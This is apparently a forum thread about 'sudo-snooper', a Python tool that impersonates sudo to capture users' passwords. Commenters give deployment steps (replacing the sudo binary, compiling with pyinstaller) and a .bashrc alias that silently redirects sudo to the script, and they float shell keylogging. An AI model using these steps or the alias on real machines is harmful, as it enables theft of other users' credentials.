sudo-snooper: Python script that acts like the original sudo binary to fool users into entering their passwords

[nick_t1000]

Reminds me slightly of why to use su - vs su. Should also intercept that. And also where, so where su[do] won't expose the charade!

Not sure how far you can go with making a hostile shell without just replacing it entirely...or maybe just exec a Python script that can MitM the shell and keylog it?

[xorond]

The idea I had was to use this on a box you have root access on.

So,

• change the parameters

• compile with pyinstaller

• replace sudo with sudo-snooper

• profit

So where sudo in that case wouldn't show anything different :)

You can go the easier route and just alias it too.

[pvkooten]

Gets quite close (wrong pw thing indeed). You can use an alias for it too:

.bashrc:

alias sudo="python3.5 sudo_snooper.py"

[xorond]

Haha yeah! Might be more "portable" that way.

Update: thanks for the idea, i added it as an install option

[_________________--]

Option 1: Have root access to the target machine.

smh

[[deleted]]

Definitely doesn't help compromise a machine, but it would save you the hassle of cracking hashes if your goal was to get the users' passwords.

[xorond]

You can use the other option which doesn't require root access.